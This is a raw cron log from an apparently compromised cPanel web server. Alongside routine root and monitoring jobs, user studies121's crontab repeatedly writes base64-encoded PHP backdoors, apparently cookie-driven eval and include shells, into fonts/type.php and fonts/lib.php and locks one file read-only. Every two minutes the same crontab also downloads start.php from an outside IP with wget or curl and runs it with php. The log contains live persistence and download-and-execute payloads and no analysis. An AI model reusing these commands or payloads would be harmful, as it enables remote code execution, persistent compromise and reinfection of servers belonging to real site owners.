Sep  4 01:07:01 ip-184-168-122-23 CROND[26526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:07:01 ip-184-168-122-23 CROND[26525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:07:01 ip-184-168-122-23 CROND[26527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:08:01 ip-184-168-122-23 CROND[26611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:08:01 ip-184-168-122-23 CROND[26613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:08:01 ip-184-168-122-23 CROND[26615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:08:01 ip-184-168-122-23 CROND[26614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:08:01 ip-184-168-122-23 CROND[26616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:09:01 ip-184-168-122-23 CROND[26701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:09:01 ip-184-168-122-23 CROND[26705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:09:01 ip-184-168-122-23 CROND[26702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:09:01 ip-184-168-122-23 CROND[26704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:09:01 ip-184-168-122-23 CROND[26703]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 01:10:01 ip-184-168-122-23 CROND[26793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:10:01 ip-184-168-122-23 CROND[26797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:10:01 ip-184-168-122-23 CROND[26800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:10:01 ip-184-168-122-23 CROND[26801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:10:01 ip-184-168-122-23 CROND[26798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:10:01 ip-184-168-122-23 CROND[26802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:10:01 ip-184-168-122-23 CROND[26796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:10:01 ip-184-168-122-23 CROND[26803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:11:01 ip-184-168-122-23 CROND[26895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:11:01 ip-184-168-122-23 CROND[26898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:11:01 ip-184-168-122-23 CROND[26896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:11:02 ip-184-168-122-23 CROND[26897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:12:01 ip-184-168-122-23 CROND[27077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:12:01 ip-184-168-122-23 CROND[27079]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:12:01 ip-184-168-122-23 CROND[27080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:12:01 ip-184-168-122-23 CROND[27078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:12:01 ip-184-168-122-23 CROND[27082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:13:01 ip-184-168-122-23 CROND[27169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:13:01 ip-184-168-122-23 CROND[27171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:13:01 ip-184-168-122-23 CROND[27170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:13:01 ip-184-168-122-23 CROND[27173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:14:01 ip-184-168-122-23 CROND[27278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:14:01 ip-184-168-122-23 CROND[27280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:14:01 ip-184-168-122-23 CROND[27281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:14:01 ip-184-168-122-23 CROND[27284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:14:01 ip-184-168-122-23 CROND[27285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:15:01 ip-184-168-122-23 CROND[27364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:15:01 ip-184-168-122-23 CROND[27366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:15:01 ip-184-168-122-23 CROND[27369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:15:01 ip-184-168-122-23 CROND[27368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:15:01 ip-184-168-122-23 CROND[27371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:15:01 ip-184-168-122-23 CROND[27372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:16:01 ip-184-168-122-23 CROND[27455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:16:01 ip-184-168-122-23 CROND[27456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:16:02 ip-184-168-122-23 CROND[27458]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 01:16:02 ip-184-168-122-23 CROND[27459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:16:02 ip-184-168-122-23 CROND[27464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:16:02 ip-184-168-122-23 CROND[27463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:17:01 ip-184-168-122-23 CROND[27547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:17:01 ip-184-168-122-23 CROND[27546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:17:01 ip-184-168-122-23 CROND[27545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:17:01 ip-184-168-122-23 CROND[27548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:18:01 ip-184-168-122-23 CROND[27628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:18:01 ip-184-168-122-23 CROND[27630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:18:01 ip-184-168-122-23 CROND[27631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:18:01 ip-184-168-122-23 CROND[27633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:18:01 ip-184-168-122-23 CROND[27632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:19:01 ip-184-168-122-23 CROND[27712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:19:01 ip-184-168-122-23 CROND[27713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
